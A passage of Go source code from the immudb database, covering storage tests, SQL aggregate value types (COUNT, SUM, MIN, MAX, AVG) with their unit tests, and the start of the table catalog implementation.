s.Get(ctx, "test1", 0, -1) require.NoError(t, err) data, err := ioutil.ReadAll(in) require.NoError(t, err) err = in.Close() require.NoError(t, err) require.Equal(t, []byte("Hello world"), data) }) t.Run("read file partially", func(t *testing.T) { in, err := s.Get(ctx, "test1", 1, 5) require.NoError(t, err) data, err := ioutil.ReadAll(in) require.NoError(t, err) err = in.Close() require.NoError(t, err) require.Equal(t, []byte("ello "), data) }) t.Run("delete file", func(t *testing.T) { err := s.Remove(ctx, "test1") require.NoError(t, err) exists, err := s.Exists(ctx, "test1") require.NoError(t, err) require.False(t, exists) _, err = s.Get(ctx, "test1", 0, -1) require.Error(t, err) }) const ( foldersCount = 3 entriesCount = 20 ) t.Run("create multiple file-s in multiple folders", func(t *testing.T) { for i := 0; i < foldersCount; i++ { for j := 0; j < entriesCount; j++ { fl, err := ioutil.TempFile("", "") require.NoError(t, err) fmt.Fprintf(fl, "Hello world_%d_%d", i, j) fl.Close() defer os.Remove(fl.Name()) err = s.Put(ctx, fmt.Sprintf("test2/folder%d/file%d", i, j), fl.Name()) require.NoError(t, err) } } entries, sub, err := s.ListEntries(ctx, "test2/") require.NoError(t, err) require.Empty(t, entries) require.Len(t, sub, foldersCount) entries, sub, err = s.ListEntries(ctx, "test2/folder0/") require.NoError(t, err) require.Empty(t, sub) require.Len(t, entries, entriesCount) require.EqualValues(t, "file1", entries[1].Name) require.EqualValues(t, "file0", entries[0].Name) require.EqualValues(t, "file10", entries[2].Name) require.EqualValues(t, 15, entries[0].Size) require.EqualValues(t, 15, entries[1].Size) require.EqualValues(t, 16, entries[2].Size) }) t.Run("delete folder with no subfolders", func(t *testing.T) { err := s.RemoveAll(ctx, "test2/folder0/") require.NoError(t, err) entries, sub, err := s.ListEntries(ctx, "test2/folder0/") require.NoError(t, err) require.Empty(t, entries) require.Empty(t, sub) entries, sub, err = s.ListEntries(ctx, "test2/") require.NoError(t, err) require.Empty(t, entries) require.Len(t, sub, foldersCount-1) require.Equal(t, sub[0], "folder1") }) t.Run("delete folder with subfolders", func(t *testing.T) { err := s.RemoveAll(ctx, "test2/") require.NoError(t, err) entries, sub, err := s.ListEntries(ctx, "test2/") require.NoError(t, err) require.Empty(t, entries) require.Empty(t, sub) }) } ================================================ FILE: embedded/sql/aggregated_values.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import "strconv" type AggregatedValue interface { TypedValue updateWith(val TypedValue) error Selector() string ColBounded() bool } type CountValue struct { c int64 sel string } func (v *CountValue) Selector() string { return v.sel } func (v *CountValue) ColBounded() bool { return false } func (v *CountValue) Type() SQLValueType { return IntegerType } func (v *CountValue) IsNull() bool { return false } func (v *CountValue) String() string { return strconv.FormatInt(v.c, 10) } func (v *CountValue) RawValue() interface{} { return v.c } func (v *CountValue) Compare(val TypedValue) (int, error) { if val.Type() != IntegerType { return 0, ErrNotComparableValues } nv := val.RawValue().(int64) if v.c == nv { return 0, nil } if v.c > nv { return 1, nil } return -1, nil } func (v *CountValue) updateWith(val TypedValue) error { v.c++ return nil } // ValueExp func (v *CountValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } func (v *CountValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return ErrNotComparableValues } return nil } func (v *CountValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) { return nil, ErrUnexpected } func (v *CountValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } func (v *CountValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } func (v *CountValue) selectors() []Selector { return nil } func (v *CountValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } func (v *CountValue) isConstant() bool { return false } func (v *CountValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } type SumValue struct { val TypedValue sel string } func (v *SumValue) Selector() string { return v.sel } func (v *SumValue) ColBounded() bool { return true } func (v *SumValue) Type() SQLValueType { return v.val.Type() } func (v *SumValue) IsNull() bool { return v.val.IsNull() } func (v *SumValue) String() string { return v.val.String() } func (v *SumValue) RawValue() interface{} { return v.val.RawValue() } func (v *SumValue) Compare(val TypedValue) (int, error) { return v.val.Compare(val) } func (v *SumValue) updateWith(val TypedValue) error { if val.IsNull() { // Skip NULL values return nil } if !IsNumericType(val.Type()) { return ErrNumericTypeExpected } if v.val.IsNull() { // First non-null value v.val = val return nil } newVal, err := applyNumOperator(ADDOP, v.val, val) if err != nil { return err } v.val = newVal return nil } // ValueExp func (v *SumValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } func (v *SumValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return ErrNotComparableValues } return nil } func (v *SumValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) { return nil, ErrUnexpected } func (v *SumValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } func (v *SumValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } func (v *SumValue) selectors() []Selector { return nil } func (v *SumValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return v } func (v *SumValue) isConstant() bool { return false } func (v *SumValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } type MinValue struct { val TypedValue sel string } func (v *MinValue) Selector() string { return v.sel } func (v *MinValue) ColBounded() bool { return true } func (v *MinValue) Type() SQLValueType { return v.val.Type() } func (v *MinValue) IsNull() bool { return v.val.IsNull() } func (v *MinValue) String() string { return v.val.String() } func (v *MinValue) RawValue() interface{} { return v.val.RawValue() } func (v *MinValue) Compare(val TypedValue) (int, error) { return v.val.Compare(val) } func (v *MinValue) updateWith(val TypedValue) error { if val.IsNull() { // Skip NULL values return nil } if v.val.IsNull() { // First non-null value v.val = val return nil } cmp, err := v.val.Compare(val) if err != nil { return err } if cmp == 1 { v.val = val } return nil } // ValueExp func (v *MinValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if v.val.IsNull() { return AnyType, ErrUnexpected } return v.val.Type(), nil } func (v *MinValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if v.val.IsNull() { return ErrUnexpected } if t != v.val.Type() { return ErrNotComparableValues } return nil } func (v *MinValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) { return nil, ErrUnexpected } func (v *MinValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } func (v *MinValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } func (v *MinValue) selectors() []Selector { return nil } func (v *MinValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } func (v *MinValue) isConstant() bool { return false } func (v *MinValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } type MaxValue struct { val TypedValue sel string } func (v *MaxValue) Selector() string { return v.sel } func (v *MaxValue) ColBounded() bool { return true } func (v *MaxValue) Type() SQLValueType { return v.val.Type() } func (v *MaxValue) IsNull() bool { return v.val.IsNull() } func (v *MaxValue) String() string { return v.val.String() } func (v *MaxValue) RawValue() interface{} { return v.val.RawValue() } func (v *MaxValue) Compare(val TypedValue) (int, error) { return v.val.Compare(val) } func (v *MaxValue) updateWith(val TypedValue) error { if val.IsNull() { // Skip NULL values return nil } if v.val.IsNull() { // First non-null value v.val = val return nil } cmp, err := v.val.Compare(val) if err != nil { return err } if cmp == -1 { v.val = val } return nil } // ValueExp func (v *MaxValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { if v.val.IsNull() { return AnyType, ErrUnexpected } return v.val.Type(), nil } func (v *MaxValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if v.val.IsNull() { return ErrUnexpected } if t != v.val.Type() { return ErrNotComparableValues } return nil } func (v *MaxValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) { return nil, ErrUnexpected } func (v *MaxValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } func (v *MaxValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } func (v *MaxValue) selectors() []Selector { return nil } func (v *MaxValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } func (v *MaxValue) isConstant() bool { return false } func (v *MaxValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } type AVGValue struct { s TypedValue c int64 sel string } func (v *AVGValue) Selector() string { return v.sel } func (v *AVGValue) ColBounded() bool { return true } func (v *AVGValue) Type() SQLValueType { return v.s.Type() } func (v *AVGValue) IsNull() bool { return v.s.IsNull() } func (v *AVGValue) String() string { return v.calculate().String() } func (v *AVGValue) calculate() TypedValue { if v.s.IsNull() { return nil } val, err := applyNumOperator(DIVOP, v.s, &Integer{val: v.c}) if err != nil { return &NullValue{t: AnyType} } return val } func (v *AVGValue) RawValue() interface{} { return v.calculate().RawValue() } func (v *AVGValue) Compare(val TypedValue) (int, error) { return v.calculate().Compare(val) } func (v *AVGValue) updateWith(val TypedValue) error { if val.IsNull() { // Skip NULL values return nil } if !IsNumericType(val.Type()) { return ErrNumericTypeExpected } if v.s.IsNull() { // First non-null value v.s = val v.c++ return nil } newVal, err := applyNumOperator(ADDOP, v.s, val) if err != nil { return err } v.s = newVal v.c++ return nil } // ValueExp func (v *AVGValue) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { return IntegerType, nil } func (v *AVGValue) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { if t != IntegerType { return ErrNotComparableValues } return nil } func (v *AVGValue) jointColumnTo(col *Column, tableAlias string) (*ColSelector, error) { return nil, ErrUnexpected } func (v *AVGValue) substitute(params map[string]interface{}) (ValueExp, error) { return nil, ErrUnexpected } func (v *AVGValue) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { return nil, ErrUnexpected } func (v *AVGValue) selectors() []Selector { return nil } func (v *AVGValue) reduceSelectors(row *Row, implicitTable string) ValueExp { return nil } func (v *AVGValue) isConstant() bool { return false } func (v *AVGValue) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { return nil } ================================================ FILE: embedded/sql/aggregated_values_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "testing" "github.com/stretchr/testify/require" ) func TestCountValue(t *testing.T) { cval := &CountValue{} require.Equal(t, "", cval.Selector()) require.False(t, cval.ColBounded()) require.False(t, cval.IsNull()) err := cval.updateWith(&Bool{val: true}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) _, err = cval.Compare(&Bool{val: true}) require.ErrorIs(t, err, ErrNotComparableValues) cmp, err := cval.Compare(&Integer{val: 1}) require.NoError(t, err) require.Equal(t, 0, cmp) err = cval.updateWith(&Bool{val: true}) require.NoError(t, err) cmp, err = cval.Compare(&Integer{val: 1}) require.NoError(t, err) require.Equal(t, 1, cmp) cmp, err = cval.Compare(&Integer{val: 3}) require.NoError(t, err) require.Equal(t, -1, cmp) // ValueExp sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") require.ErrorIs(t, err, ErrUnexpected) _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) require.Nil(t, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) require.Nil(t, cval.selectorRanges(nil, "", nil, nil)) } func TestSumValue(t *testing.T) { cval := &SumValue{ val: &Integer{}, sel: "db1.table1.amount", } require.Equal(t, "db1.table1.amount", cval.Selector()) require.True(t, cval.ColBounded()) require.False(t, cval.IsNull()) err := cval.updateWith(&Integer{val: 1}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) _, err = cval.Compare(&Bool{val: true}) require.ErrorIs(t, err, ErrNotComparableValues) cmp, err := cval.Compare(&Integer{val: 1}) require.NoError(t, err) require.Equal(t, 0, cmp) err = cval.updateWith(&Bool{val: true}) require.ErrorIs(t, err, ErrNumericTypeExpected) err = cval.updateWith(&Integer{val: 10}) require.NoError(t, err) cmp, err = cval.Compare(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, 1, cmp) cmp, err = cval.Compare(&Integer{val: 12}) require.NoError(t, err) require.Equal(t, -1, cmp) // ValueExp sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") require.ErrorIs(t, err, ErrUnexpected) _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) require.Equal(t, cval, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) require.Nil(t, cval.selectorRanges(nil, "", nil, nil)) } func TestMinValue(t *testing.T) { cval := &MinValue{ val: &NullValue{}, sel: "db1.table1.amount", } require.Equal(t, "db1.table1.amount", cval.Selector()) require.True(t, cval.ColBounded()) require.True(t, cval.IsNull()) _, err := cval.inferType(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) err = cval.requiresType(IntegerType, nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) err = cval.updateWith(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) cmp, err := cval.Compare(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, 0, cmp) _, err = cval.Compare(&Bool{val: true}) require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Bool{val: true}) require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) cmp, err = cval.Compare(&Integer{val: 2}) require.NoError(t, err) require.Equal(t, 0, cmp) cmp, err = cval.Compare(&Integer{val: 4}) require.NoError(t, err) require.Equal(t, -1, cmp) // ValueExp sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") require.ErrorIs(t, err, ErrUnexpected) _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) require.Nil(t, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) require.Nil(t, cval.selectorRanges(nil, "", nil, nil)) } func TestMaxValue(t *testing.T) { cval := &MaxValue{ val: &NullValue{}, sel: "db1.table1.amount", } require.Equal(t, "db1.table1.amount", cval.Selector()) require.True(t, cval.ColBounded()) require.True(t, cval.IsNull()) _, err := cval.inferType(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) err = cval.requiresType(IntegerType, nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) err = cval.updateWith(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) cmp, err := cval.Compare(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, 0, cmp) _, err = cval.Compare(&Bool{val: true}) require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Bool{val: true}) require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) cmp, err = cval.Compare(&Integer{val: 2}) require.NoError(t, err) require.Equal(t, 1, cmp) cmp, err = cval.Compare(&Integer{val: 11}) require.NoError(t, err) require.Equal(t, -1, cmp) // ValueExp sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") require.ErrorIs(t, err, ErrUnexpected) _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) require.Nil(t, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) require.Nil(t, cval.selectorRanges(nil, "", nil, nil)) } func TestAVGValue(t *testing.T) { cval := &AVGValue{ s: &Integer{}, sel: "db1.table1.amount", } require.Equal(t, "db1.table1.amount", cval.Selector()) require.True(t, cval.ColBounded()) require.False(t, cval.IsNull()) err := cval.updateWith(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, IntegerType, cval.Type()) cmp, err := cval.Compare(&Integer{val: 10}) require.NoError(t, err) require.Equal(t, 0, cmp) _, err = cval.Compare(&Bool{val: true}) require.ErrorIs(t, err, ErrNotComparableValues) err = cval.updateWith(&Bool{val: true}) require.ErrorIs(t, err, ErrNumericTypeExpected) err = cval.updateWith(&Integer{val: 2}) require.NoError(t, err) cmp, err = cval.Compare(&Integer{val: 6}) require.NoError(t, err) require.Equal(t, 0, cmp) cmp, err = cval.Compare(&Integer{val: 7}) require.NoError(t, err) require.Equal(t, -1, cmp) // ValueExp sqlt, err := cval.inferType(nil, nil, "table1") require.NoError(t, err) require.Equal(t, IntegerType, sqlt) err = cval.requiresType(IntegerType, nil, nil, "table1") require.NoError(t, err) err = cval.requiresType(BooleanType, nil, nil, "table1") require.ErrorIs(t, err, ErrNotComparableValues) _, err = cval.jointColumnTo(nil, "table1") require.ErrorIs(t, err, ErrUnexpected) _, err = cval.substitute(nil) require.ErrorIs(t, err, ErrUnexpected) _, err = cval.reduce(nil, nil, "table1") require.ErrorIs(t, err, ErrUnexpected) require.Nil(t, cval.reduceSelectors(nil, "table1")) require.False(t, cval.isConstant()) require.Nil(t, cval.selectorRanges(nil, "", nil, nil)) } ================================================ FILE: embedded/sql/catalog.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package sql import ( "bytes" "context" "encoding/binary" "encoding/json" "errors" "fmt" "math" "strings" "time" "github.com/codenotary/immudb/embedded/store" "github.com/google/uuid" ) // Catalog represents a database catalog containing metadata for all tables in the database. type Catalog struct { enginePrefix []byte tables []*Table tablesByID map[uint32]*Table tablesByName map[string]*Table maxTableID uint32 // The maxTableID variable is used to assign unique ids to new tables as they are created. } type Constraint interface{} type PrimaryKeyConstraint []string type CheckConstraint struct { id uint32 name string exp ValueExp } type Table struct { catalog *Catalog id uint32 name string cols []*Column colsByID map[uint32]*Column colsByName map[string]*Column indexes []*Index indexesByName map[string]*Index indexesByColID map[uint32][]*Index checkConstraints map[string]CheckConstraint primaryIndex *Index autoIncrementPK bool maxPK int64 maxColID uint32 maxIndexID uint32 } type Index struct { table *Table id uint32 unique bool cols []*Column colsByID map[uint32]*Column } type Column struct { table *Table id uint32 colName string colType SQLValueType maxLen int autoIncrement bool notNull bool } func newCatalog(enginePrefix []byte) *Catalog { ctlg := &Catalog{ enginePrefix: enginePrefix, tablesByID: make(map[uint32]*Table), tablesByName: make(map[string]*Table), } pgTypeTable := &Table{ catalog: ctlg, name: "pg_type", cols: []*Column{ { colName: "oid", colType: VarcharType, maxLen: 10, }, { colName: "typbasetype", colType: VarcharType, maxLen: 10, }, { colName: "typname", colType: VarcharType, maxLen: 50, }, }, } pgTypeTable.colsByName = make(map[string]*Column, len(pgTypeTable.cols)) for _, col := range pgTypeTable.cols { pgTypeTable.colsByName[col.colName] = col } pgTypeTable.indexes = []*Index{ { unique: true, cols: []*Column{ pgTypeTable.colsByName["oid"], }, colsByID: map[uint32]*Column{ 0: pgTypeTable.colsByName["oid"], }, }, } pgTypeTable.primaryIndex = pgTypeTable.indexes[0] ctlg.tablesByName[pgTypeTable.name] = pgTypeTable return ctlg } func (catlg *Catalog) ExistTable(table string) bool { _, exists := catlg.tablesByName[table] return exists } func (catlg *Catalog) GetTables() []*Table { ts := make([]*Table, 0, len(catlg.tables)) ts = append(ts, catlg.tables...) return ts } func (catlg *Catalog) GetTableByName(name string) (*Table, error) { table, exists := catlg.tablesByName[name] if !exists { return nil, fmt.Errorf("%w (%s)", ErrTableDoesNotExist, name) } return table, nil } func (catlg *Catalog) GetTableByID(id uint32) (*Table, error) { table, exists := catlg.tablesByID[id] if !exists { return nil, ErrTableDoesNotExist } return table, nil } func (t *Table) ID() uint32 { return t.id } func (t *Table) Cols() []*Column { cs := make([]*Column, 0, len(t.cols)) cs = append(cs, t.cols...) return cs } func (t *Table) ColsByName() map[string]*Column { cs := make(map[string]*Column, len(t.cols)) for _, c := range t.cols { cs[c.colName] = c } return cs } func (t *Table) Name() string { return t.name } func (t *Table) PrimaryIndex() *Index { return t.primaryIndex } func (t *Table) IsIndexed(colName string) (indexed bool, err error) { col, err := t.GetColumnByName(colName) if err != nil { return false, err } return len(t.indexesByColID[col.id]) > 0, nil } func (t *Table) GetColumnByName(name string) (*Column, error) { col, exists := t.colsByName[name] if !exists { return nil, fmt.Errorf("%w (%s)", ErrColumnDoesNotExist, name) } return col, nil } func (t *Table) GetColumnByID(id uint32) (*Column, error) { col, exists := t.colsByID[id] if !exists { return nil, ErrColumnDoesNotExist } return col, nil } func (t *Table) ColumnsByID() map[uint32]*Column { return t.colsByID } func (t *Table) GetIndexes() []*Index { idxs := make([]*Index, 0, len(t.indexes)) idxs = append(idxs, t.indexes...) return idxs } func (t *Table) GetIndexesByColID(colID uint32) []*Index { idxs := make([]*Index, 0, len(t.indexes)) idxs = append(idxs, t.indexesByColID[colID]...) return idxs } func (t *Table) GetMaxColID() uint32 { return t.maxColID } func (i *Index) IsPrimary() bool { return i.id == PKIndexID } func (i *Index) IsUnique() bool { return i.unique } func (i *Index) Cols() []*Column { return i.cols } func (i *Index) IncludesCol(colID uint32) bool { _, ok := i.colsByID[colID] return ok } func (i *Index) enginePrefix() []byte { return i.table.catalog.enginePrefix } func (i *Index) coversOrdCols(ordExps []*OrdExp, rangesByColID map[uint32]*typedValueRange) bool { if !ordExpsHaveSameDirection(ordExps) { return false } return i.hasPrefix(i.cols, ordExps) || i.sortableUsing(ordExps, rangesByColID) } func ordExpsHaveSameDirection(exps []*OrdExp) bool { if len(exps) == 0 { return true } desc := exps[0].descOrder for _, e := range exps[1:] { if e.descOrder != desc { return false } } return true } func (i *Index) hasPrefix(columns []*Column, ordExps []*OrdExp) bool { if len(ordExps) > len(columns) { return false } for j, ordCol := range ordExps { sel := ordCol.AsSelector() if sel == nil { return false } aggFn, _, colName := sel.resolve(i.table.Name()) if len(aggFn) > 0 { return false } col, err := i.table.GetColumnByName(colName) if err != nil || col.id != columns[j].id { return false } } return true } func (i *Index) sortableUsing(columns []*OrdExp, rangesByColID map[uint32]*typedValueRange) bool { // all columns before colID must be fixedValues otherwise the index can not be used sel := columns[0].AsSelector() if sel == nil { return false } aggFn, _, colName := sel.resolve(i.table.Name()) if len(aggFn) > 0 { return false } firstCol, err := i.table.GetColumnByName(colName) if err != nil { return false } for j, col := range i.cols { if col.id == firstCol.id { return i.hasPrefix(i.cols[j:], columns) } colRange, ok := rangesByColID[col.id] if ok && colRange.unitary() { continue } return false } return false } func (i *Index) Name() string { return indexName(i.table.name, i.cols) } func (i *Index) ID() uint32 { return i.id } func (t *Table) GetIndexByName(name string) (*Index, error) { idx, exists := t.indexesByName[name] if !exists { return nil, fmt.Errorf("%w (%s)", ErrIndexNotFound, name) } return idx, nil } func indexName(tableName string, cols []*Column) string { var buf strings.Builder buf.WriteString(tableName) buf.WriteString("(") for c, col := range cols { buf.WriteString(col.colName) if c < len(cols)-1 { buf.WriteString(",") } } buf.WriteString(")") return buf.String() } func (catlg *Catalog) newTable(name string, colsSpec map[uint32]*ColSpec, checkConstraints map[string]CheckConstraint, maxColID uint32) (table *Table, err error) { if len(name) == 0 || len(colsSpec) == 0 { return nil, ErrIllegalArguments } for id := range colsSpec { if id <= 0 || id > maxColID { return nil, ErrIllegalArguments } } exists := catlg.ExistTable(name) if exists { return nil, fmt.Errorf("%w (%s)", ErrTableAlreadyExists, name) } // Generate a new ID for the table by incrementing the 'maxTableID' variable of the 'catalog' instance. id := (catlg.maxTableID + 1) // This code is attempting to check if a table with the given id already exists in the Catalog. // If the function returns nil for err, it means that the table already exists and the function // should return an error indicating that the table cannot be created again. _, err = catlg.GetTableByID(id) if err == nil { return nil, fmt.Errorf("%w (%d)", ErrTableAlreadyExists, id) } table = &Table{ id: id, catalog: catlg, name: name, cols: make([]*Column, 0, len(colsSpec)), colsByID: make(map[uint32]*Column), colsByName: make(map[string]*Column), indexesByName: make(map[string]*Index), indexesByColID: make(map[uint32][]*Index), checkConstraints: checkConstraints, maxColID: maxColID, } for id := uint32(1); id <= maxColID; id++ { cs, found := colsSpec[id] if !found { // dropped column continue } if isReservedCol(cs.colName) { return nil, fmt.Errorf("%w(%s)", ErrReservedWord, cs.colName) } _, colExists := table.colsByName[cs.colName] if colExists { return nil, ErrDuplicatedColumn } if cs.autoIncrement && cs.colType != IntegerType { return nil, ErrLimitedAutoIncrement } if !validMaxLenForType(cs.maxLen, cs.colType) { return nil, ErrLimitedMaxLen } col := &Column{ id: uint32(id), table: table, colName: cs.colName, colType: cs.colType, maxLen: cs.maxLen, autoIncrement: cs.autoIncrement, notNull: cs.notNull, } table.cols = append(table.cols, col) table.colsByID[col.id] = col table.colsByName[col.colName] = col } catlg.tables = append(catlg.tables, table) catlg.tablesByID[table.id] = table catlg.tablesByName[table.name] = table // increment table count on successfull table creation. // This ensures that each new table is assigned a unique ID // that has not been used before. catlg.maxTableID++ return table, nil } func (catlg *Catalog) deleteTable(table *Table) error { _, exists := catlg.tablesByID[table.id] if !exists { return ErrTableDoesNotExist } newTables := make([]*Table, 0, len(catlg.tables)-1) for _, t := range catlg.tables { if t.id != table.id { newTables = append(newTables, t) } } catlg.tables = newTables delete(catlg.tablesByID, table.id) delete(catlg.tablesByName, table.name) return nil } func (t *Table) newIndex(unique bool, colIDs []uint32) (index *Index, err error) { if len(colIDs) < 1 { return nil, ErrIllegalArguments } // validate column ids cols := make([]*Column, len(colIDs)) colsByID := make(map[uint32]*Column, len(colIDs)) for i, colID := range colIDs { col, err := t.GetColumnByID(colID) if err != nil { return nil, err } _, ok := colsByID[colID] if ok { return nil, ErrDuplicatedColumn } cols[i] = col colsByID[colID] = col } index = &Index{ id: uint32(t.maxIndexID), table: t, unique: unique, cols: cols, colsByID: colsByID, } _, exists := t.indexesByName[index.Name()] if exists { return nil, ErrIndexAlreadyExists } t.indexes = append(t.indexes, index) t.indexesByName[index.Name()] = index // having a direct way to get the indexes by colID for _, col := range index.cols { t.indexesByColID[col.id] = append(t.indexesByColID[col.id], index) } if index.id == PKIndexID { t.primaryIndex = index t.autoIncrementPK = len(index.cols) == 1 && index.cols[0].autoIncrement } // increment table count on successfull table creation. // This ensures that each new table is assigned a unique ID // that has not been used before. t.maxIndexID++ return index, nil } func (t *Table) newColumn(spec *ColSpec) (*Column, error) { if isReservedCol(spec.colName) { return nil, fmt.Errorf("%w(%s)", ErrReservedWord, spec.colName) } if spec.autoIncrement { return nil, fmt.Errorf("%w (%s)", ErrLimitedAutoIncrement, spec.colName) } if spec.notNull { return nil, fmt.Errorf("%w (%s)", ErrNewColumnMustBeNullable, spec.colName) } if !validMaxLenForType(spec.maxLen, spec.colType) { return nil, fmt.Errorf("%w (%s)", ErrLimitedMaxLen, spec.colName) } _, exists := t.colsByName[spec.colName] if exists { return nil, fmt.Errorf("%w (%s)", ErrColumnAlreadyExists, spec.colName) } t.maxColID++ col := &Column{ id: t.maxColID, table: t, colName: spec.colName, colType: spec.colType, maxLen: spec.maxLen, autoIncrement: spec.autoIncrement, notNull: spec.notNull, } t.cols = append(t.cols, col) t.colsByID[col.id] = col t.colsByName[col.colName] = col return col, nil } func (ctlg *Catalog) renameTable(oldName, newName string) (*Table, error) { if oldName == newName { return nil, fmt.Errorf("%w (%s)", ErrSameOldAndNewNames, 